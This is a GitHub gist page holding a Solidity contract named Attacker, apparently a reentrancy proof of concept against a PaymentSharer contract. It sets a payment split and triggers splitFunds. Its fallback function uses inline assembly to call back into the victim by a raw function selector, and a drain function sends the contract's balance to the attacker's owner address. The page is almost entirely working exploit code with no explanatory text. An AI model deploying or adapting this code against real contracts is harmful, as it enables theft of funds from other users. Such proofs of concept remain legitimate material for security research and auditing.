Skip to content

Instantly share code, notes, and snippets.

@shingonu
Last active January 17, 2019 05:25
Show Gist options
  • Save shingonu/3fd20ffafae2c6b14896fdad6d55e1b8 to your computer and use it in GitHub Desktop.
Save shingonu/3fd20ffafae2c6b14896fdad6d55e1b8 to your computer and use it in GitHub Desktop.
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
address x = victim;
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment